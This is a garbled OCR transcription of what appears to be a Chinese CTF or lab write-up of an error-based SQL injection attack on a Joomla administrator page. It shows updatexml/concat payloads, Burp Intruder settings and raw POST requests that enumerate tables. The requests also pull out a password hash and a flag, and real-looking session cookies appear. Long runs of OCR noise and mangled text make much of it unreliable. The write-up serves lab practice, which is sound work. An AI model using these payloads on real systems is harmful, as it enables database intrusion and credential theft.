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—<extension type="module” version="3.1" client="site" method="upgrade">
<name>mod login</name>
<author>Joomla! Project</author>
<creationDate>July 2006 < /creationDate >
—<copyright>
Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved.
</copyright>
—<license>
GNU General Public License version 2 or later; see LICENSE.txt
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1111111111111211111122111111111111111311111111111 11112111 1111111111111111111
1111111111111111111111111111%/updatexnl (1, concat (Ox3e, database O], 0) v

—-~ ar.

HR, SRIE w7, FRlER16HS, AT

1111111111111 111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111%/updatexml (1, concat (0x3e, (select+table_name
+from+information_schena. tables+where+table_schema=" joomall +limit+0, 1)),
0 v

—

AU EE T

NP R IRE R FERFAEERIRSET EEREE.

m XPATH syniax error: "»joomla’

B E R R FRERMGEERRETEMEREE.

m Yeu have an error in your 3AL syntax; check the manual that corresponds to
your MariaDB server version for the right syntax o use near Vjoomalt limit 0,1)),0)
atline 9

A N N N N N A R N N A A A A A A A A A A A A A A A A A A A A A A N A A A A A A A A
11111t11111111111111111121111111111112111e1111111a111111111111111
1111111111110 ILLIIIII1IIIII1I1ILILIL
1111111111111ttt
11111t11111111111111111121111111111112111e1111111a111111111111111
1111111101111t IIIIIIIIIIILILILIL
11111t11111111111111111121111111111112111e1111111a111111111111111
11111111 sarraraanstl
11111t11111111111111111121111111111112111e1111111a111111111111111
11111t11111111111111111121111111111112111e1111111a111111111111111
1111111111111ttt
11111t11111111111111111121111111111112111e1111111a111111111111111
1111111101111t IIIIIIIIIIILILILIL
11111t11111111111111111121111111111112111e1111111a111111111111111
11111111 sarraraanstl
11111t11111111111111111121111111111112111e1111111a111111111111111
11111t11111111111111111121111111111112111e1111111a111111111111111
1111111111100
11111t11111111111111111121111111111112111e1111111a111111111111111
11111111 sarraraanstl
11111t11111111111111111121111111111112111e1111111a111111111111111
1111111111110 ILLIIIII1IIIII1I1ILILIL
11111t11111111111111111121111111111112111e1111111a111111111111111
11111t11111111111111111121111111111112111e1111111a111111111111111
1111111111100
11111t11111111111111111121111111111112111e1111111a111111111111111
11111111 sarraraanstl
11111t11111111111111111121111111111112111e1111111a111111111111111
1111111111111111111111111111*/updatexml (1, concat (0x2e, (select+table name
+from+information_schema. tables+where+table_schema=0x6a6f6f6d616c+1imit+
0,1)),0

REefFF database() RAHIEET

e

TR SEFAIERIEEE BRI EHR

C5DN @F,



L11111111111111111111111111111111211111111111111111111111111111111111111 o .
L11111111111111111111101112111211111111111111111111111111111111111111111 SR i 24 AR E i, R R SR R R T EAEIRE S
LIT110111111111111111100111011100211001110111011111111111111111111111111 B XPATH symtax error ">#_assets’
L11111111111111111111111111111111111111111111111111111111111111111111111
LIT111111111111111111111111011100111011110211011111111111111111111111111
LI1111111111111111111100110012100211011100111011111111111111111111111111

1111111111111111111111111111*/updatexm] {1, concat (0x3e, (select+table name

+Hfrom+tinformation schema. tables+wherettable schema=database OFlimit+0, 1) o
.0 : SDN @F,

RUERZIR, BAITLLHburpR il

111111111111111111121112111111112111311211121111112111113111111111111111111111111 RUSRE T W R, IR R M EIE A e M mEREwmIsE =
111111%11111111_1111111111111*/updatexm1 (1, concat (0x3e, (selectthE_:Lb%e_name B2 XPATH syntax error: % _newsfeeds
+from+information_schema. tables+where+table_schema=database () +1imit+50, 1

1), 0) v

BEMRSH

e T

You can define one or more payload sets. The number of payload sets depends on tl
customized in different ways.

T |1 v EnsEHE: 81
THEEAR: | M v ERmE: e

Q) BEEFERET

This payload type generates numeric payloads within a given range and in a specifie

H¥EE

2Rl ® #EE O N

From 0

To: g0

128 1

£ CSDN @F,
L1t o - |

Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable configuration automatically.

Target | Positions Payloads | Options 1 3 ) 3 )
You can also modify the configuration manually to ensure it works effectively.

s | [uie= | @ i O WEMBEATATIED
ch
A varchar ® MEEHE: Jspan= XPATH syntax error: &#039; </blockquote>
0DBC
Hirs: SO0 O FisfRe:: 3164 EARS0ISFE

quotation mark

ER syntax

ORA-
1 ® DA RTFER:
& Enfer a new item O DEEKEEE: 2
MEZER . @ BERES
O E#FM
O T TPiRS, O tRBLA TRIEE AR EIAFEE
O EaAsilS=a
& HIBEHTTPERS: 77 <gpan class="label label-inverse”>»500</span> A
XPATH syntax error: &#039;&gt;# newsfeeds&#039 ;|
| </blockquote>
| @ Grep - Extract 78 <fdivy
C) These settings can be used to extract use 79 <!-- End Content -->
80 <fdivy
) MmarS g TR 81 <fdivey

AAAT e



o UL Y

| 83 <Sdiv>
= 84 <!-— Footer -—>
i 85 <div class="footer”>
86 ¢div class="container”>
LM 87 <hr /> i i v
=4 ELS J . e |
( =F @@ lijd} Search a7 IUEL w Pretty
T OK | i
K

CS5DN @F)

FF1E #  user flag R

63 63 500 U U 3809 &gt:#__updates&#039;
64 64 500 U U 3813 &gt:#__user_flag&#039;
65 65 500 8] @] 3813 &gt:#__user_keys&#039;

BEFEB, B 2lidMpasswd

N Y T G Y N T N N A VR W Y Y M Y A A AV NI W A R O A N

111111111111111111111111111111111111111111111111111111111111111111111111 e e e o e
111111111011120202122020222120202212220210122222212221211111121111111111111 ARFEHERAN. WEAPLE ERIES TEAEREE.
11111111101111121212202121221202212120221212221211122121112101111111111111 ) XPATH syntax error: "id

1111111111111111121121212112211212111212212211121212211111211111112111111111111111
111111111011120202122020222120202212220210122222212221211111121111111111111
111111111111111111111111111111111111111111111111111111111111111111111111
111111111111111111111111111111111111111111111111111111111111111111111111
11111111101111121212202121221202212120221212221211122121112101111111111111
11111111111111111111111111111111111111111111111111%/updatexnl (1, concat (0
x3e, (select+column_name+from+information_schema. columns+where+table_name © 2020 RED TEAM

)

=(select+table name+from+information schema. tables+where+table schema=da
tabase () +1imit+64, 1) 1imit+0 1)), 0)

®@’@QJ Search... BHLE | Pretty CSDN @F
1111111111112222222222222222222222222200222222211111111111212211111111111 NP2 E, FE G EIERIES TEIHEREE.

111111111112211222122221122112211211111111111111111%/updatexml (1, concat (0
x3e, (select+column_name+from+information_schema. colunns+where+table_name
=(select+table_name+from+information_schema. tables+where+table_schema=da
tabase () +1imit+64, 1) limit+1} 1)), 0) =

m XPATH syntax error; ">passwd’

FIEEFBRNE, B2Hidwhatsup,
1Y 682109f0f40ca72a15e05cc22786F8

ISRERRRRRRE RN R RR RN R RN ReREnRa R Ran e R R neneREnRnenana e nenns| NBHEFFEZEMN FERHGEBRESTEMEREE
111111111111112211112221211221211111211111111111111*/updatexml (1, concat (0 ] ,
x3e, (select+id+from+#7juserfflag)), o) v mXPﬁTH syntax error; ">WhatsUp

1111111111111111111111112111112111111111111111111111111 1111111111111

11111111112111121122122211212122121222122212121221222121222121221121111111111111 B2 M, FERMNGEER RS T EMSE 58,
11111111111111111111111111111111111111111111111111%/updatexnl (1, concat (0 . ‘
%36, (select+passwdifron+é_user flag)), 0) ¥ ED) xPATH syntax eror: *>682 109f0{40car2a15205cc22786f8

9@ [ij w Search... P =T n Pretty

fi 2% H SR N HelloWorld



BxJE 6,153 flag

WSEE - AHRE - TREE- 29

W GEFER X e

@ L L1 -
I EREE | IZ SR

B=

(] M bin
& administrator
[J M cache
| & cache Om ci
| & components (] W components
(] M images
| = com_admin
(] M@ includes
| & controllers (] M language
| & helpers [ W layouts
(] I libraries
& html
() M media
& models (] M modules
& forms [0 W plugins
[J W templates
= postinstall
() tmp
& sql () W var
| EICEES ] @ configuration.php
0O G flag{OnLi-NeMalA-YslA}
I E mysql _

o uEn | @Promamass | @ remsesR | @ FKME | —Bd CSDN @F, N IR

i
i

=1 SRR -l i S



BRFEEE, 1F http://awd19-b22.aqlab.cn/administrator/index.php?option=com_users&view=notes &t (JRIATAIZEM L&
B Kexp) , postZH filter[catgory] FEEREFEN

<« C O 8 & |awd19-b22 aqlab.cn/administrator/index php?option=com_users&view=notes B B & =

\9 FERCTFEDES - ... (8588 feiniaotjx... (@ CTFEATH-CTFL.. & 7ERIES6RS1ESEm... Oansts brps

B{ System~ Users~ Menus~ Content~ Components~ Extensions~ Help~ RED TEAME 2% ~

% User Notes ¥ Joomlal

& | Edit + | Publish @ | Unpublish | | & | Archive | [ Check-in W Trash © Hep L Options
®

Users Q Search Tools « Clear Review Date descending - 20 | -

User Groups
- Select Status - - | Uncategorised - | - Select Max Levels - -
Viewing Access Levels

User Note Categories

No Matching Results

Fields
Field Groups
CSDN @F,
> Y . = SIL 4— )
B, R T DAREAT ISR A 2
J Raw Lparams J_Headers J_HexJ Raw | Headers | Hex | Render ]
T ACTEDL. 2
text/html, application/xhtml+xnl, application/xml :q=0. 9, inage/avif, inage/w
ebp, */%;q=0. 8
5 Accept-Language:
zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK; q=0. 5, en-US;q=0. 3, en;q=0. 2
6 Accept-Encoding: gzip, deflate
7 Content—Type: application/x—www-form-urlencoded
8 Content-Length: 334
9 Origin: http://awdl9-b22. aglab. cn
10 Connection: close
11 Referer:
http://awd19-b22. aglab. cn/administrator/index. php?option=com_users&view=
notes
12 Cookie: UM distinctid= IEFIE MR A Admss CENMLSERSSEE!
17ca612332710c-097833cfaa38d58-4c3e2679-144000-17cabl 23328944 ; ’ Fﬁjﬂ:—&ﬂjlﬁ Eﬁ:’Fﬂ B‘jf ’ @!ﬁﬁ ﬁﬁ
130278f82abbe8f 1ceblac4309021 b2b=qatpbqanrTTkefagqanddsuvs2;
security_backeground key=T4eeBf661482e6df90a8c3c3efc814d4; . .
- — - d19-b22.2gab. d trat: dex.ph
690431 198427 d8Fa794457 ed53ccas89=of rhsOonr26s]r jsatusdkbas e ealabenfedminitretorindex she
13 Upgrade-Insecure-Requests: 1 user-agent: Moxzilla/5.0 (Windows NT 10.0; Win64; x64; nv:03.0) Gecko/20100101 Firefo
14
15 £1ltert5Bsearch%sD=t11stH5Bfullordering%sh=a, review tine+DESCE R
11st%5Blimi t%5D=20&f11 ter%5Bpublished%sD=8&f1lter%5Bcategory_1d%5D= time: 2020-11-27 04:32:56
T-i{and+updatexml (1, concat (0x7e, (select+table_name+from+information_schema
. tables+where+table_schema=database () +limit+64, 1), 0xTe), 1) ——+&
filter%sBlevel%SD=&task=8&boxchecked=0&abc59c578368923221b91854bff6achelc=1 [y
Q@& () 2] [seorer TR [(w | ey

SR IN RS
. ) W b (]
Al 66024




[ I s

= O 00 =] O (s3]

[EE——

POST /administrator/index. phpPoption=com_users&view=notes HTTP/1.1

Host: awdl19-b22. aglab. cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb64; x64; rv:93.0)
Gecko/20100101 Firefox/92.0

Accept:

text/html, application/xhtml+xml, application/xml;q=0. 9, inage/avif, image/w
ebp, */%;q=0. 8

Accept-Language:

zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK;q=0. 5, en-US;q=0. 3, en;q=0. 2
Accept-Encoding: gzip, deflate

Content-Type: application/z—www—-form-urlencoded

Content-Length: 55632

Origin: http://awd19-b22. aglab. cn

Connection: close

Referer:

http://awd19-b22. aglab. cn/admninistrator/index. php?option=com_users&view=
notes

2 Cookie: UM distinctid=

17cabl2332710c-0978232cfaa28d58-4c322679-144000-1Tcab1 23328944 ;
120278f82abbe8f 1ceb3ac4209021b2b=qatpbganrTTkefaggauddbuvs2;
security background key=T4ee6f661482e6df90a8c3c3efcB814d4;
690431198df27d8faT94457ed53cca89=0f6thsOomr26slr jsazubdkba’b
Upgrade-Insecure-Requests: 1

5 filter%bBsearch%sD=&11st%5Bfullordering%sD=a. review time+DESCE

list%5Blimit%5D=20&f11ter%5Bpublished%sD=&f1]lter%5Bcategory id%5D=

J#1111111111111112112122121212122122112211221121221212211212112121111111111111111
1111111111111 1221221112111 1111111111111 111°11 1111111111111
1111111111111 11111111111111111111111111111111111111111111111
1111111111111 1111111111111111111111111111111111111111111111111111
111111111111111111111111111111111111111111111111111111 E60h@r1 1 1805811



/S A A A A VR AV NV A A A R R R U e Vel NESU B LES
I1111111111111111111111111111111111121 1111111111111 111111111 111111111111 Stack Exchange
TIL111110110001100 1112011100111 102 1111011221 1101 11111 1111111111111111 Jogﬂﬂﬁ!shogi
TIL111110110001100 1112011100111 102 1111011221 1101 11111 1111111111111111

vy
o o

IILLII1101100 01100110010 00 1200 0011100110011 1111 01110 111111111111 . o mike veek
II11111110000 010111111 1100000 0010111111 110200 00101111111 1111100 111111111 °
I1111111111111111111111111111111111121 1111111111111 111111111 111111111111 o Edit Account
I1111111111111111111111111111111111121 1111111111111 111111111 111111111111 ©
TIL111110110001100 1112011100111 102 1111011221 1101 11111 1111111111111111 o Logout
I111111111111111111111111111111111112111111111111111111111111111111111111

II11111110000 010111111 1100000 0010111111 110200 00101111111 1111100 111111111 RED TEAM

TIL111110110001100 1112011100111 102 1111011221 1101 11111 1111111111111111 o2
I1111111111111111111111111111111111121 1111111111111 111111111 111111111111
I1111111111111111111111111111111111121 1111111111111 111111111 111111111111
I111111111111111111111111111111111112111111111111111111111111111111111111 Iﬂ]ﬁ]?()l‘
I111111111111111111111111111111111112111111111111111111111111111111111111
TIL111110110001100 1112011100111 102 1111011221 1101 11111 1111111111111111

T1111101111111121211111212121111121112121111121212111111111111111111111111 An error has occurred.
111111111111111211102111212111221111221112221111211212111111111111111111111

[f1111210121202222121222222121012121222212121221222221212121212111112121111111 500 XPATH syntax error: '~5_5 68-MariaDB~' XPATH syntax error: '~5.5.68-
1111111111111111111111111111111111121111111111111111111111111111111111111 MariaDB-'

I1111111111111111111111111111111111121 1111111111111 111111111 111111111111
TIL111110110001100 1112011100111 102 1111011221 1101 11111 1111111111111111 E} Beturn to Control Panel

1*/T+and+updatexml (1, concat (0xTe, (select+@@version), 0xTe), 1) ——+&
filter%5Blevel®5D=&task=&boxchecked=0&abe59c578369322fh91854hf f6achefc=1 [y
cor

@@ @ CJ Search FAILE n Pretty CSDN @F,

SRJE XA e R 2 BT BRAE I 1

11111111111112111112112111112112111112112111112111111111111111111111111111111111
11111111111111111221111111222111211111112201111111111122111111111111111111111
111111111111111111111111111111111111111111111111111111111111111111111111 An error has occurred.
111111111111111111211211111211111112111111121111111111121111111111111111111111
111111111111111111211211111211111112111111121111111111121111111111111111111111 300 XPATH swntax error: ~%_ user flag~' XPATH syntax error;
1111111111111ttt 11111111111111111111111111111111 '~#__ user flag~
1111111111111ttt 11111111111111111111111111111111

1%/T+and+updatexnl (1, concat (0x7e, (select+table_name+from+information_sch Return to Control Panel

ema. tables+where+table_schema=database () +1imit+64 1), 0x7e), 1) ——+&
filter%sBlevel®%5D=&task=&boxchecked=0&abc59c578269322f191854bffbachefe=1 [y

Nery led fad Tonnn snamrds (e ] o

11111111111121111212111121111121121111111111111111111111111111111111111111111
1111111111111111111111111111211111111111111111111111111111111111111111111 500 XBATH svutax error: '~68e 109084 0ca72al 5e05cc22 7868~ XPATH svatax error
111111111111111111111111111111111111111111111111111111111111111111111111 68 100f0f10caTdal SelFec) 2 TREFE-" )
111111111111 111111111111111111011111111100111111111111111111111111111111
111111111111111111111111111111111111111111111111111111111111111111111111 Return to Control Panel
111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111 111100111111110001 111111110000 0002111111111111111111111111
1111111111111 111100111111110001 111111110000 0002111111111111111111111111
111111111111 111111111111111111211111111110111111111111111111111111111111
111111111111 111111111111111111211111111110111111111111111111111111111111
111111111111111111111111111111111111111111111111111111111111111111111111
111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111 111100111111110001 111111110000 0002111111111111111111111111
I111111111111111111111111111111111111111111111111111111111111111111111111
TILIILIIIII T I I i 111111111111
TILIILIIIII T I I i 111111111111
111111111111 111111111111111111211111111110111111111111111111111111111111
111111111111 111111111111111111211111111110111111111111111111111111111111
111111111111111111111111111111111111111111111111111111111111111111111111
111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111 111100111111110001 111111110000 0002111111111111111111111111
1111111111111 111100111111110001 111111110000 0002111111111111111111111111
TI111100111111111000111111110001111133 1100111121111 111111111111111111111
1#/T+and+updatexnl (1, concat (0xTe, (select+passwd+fron+#__user_flag), 0xTe) E)
v

, 1) ——+&filter%5Blevel %5D=&task=&boxchecked=0&
abe59c578369322fh91854bf feachefe=1

CSDN @F,

EHEd
2
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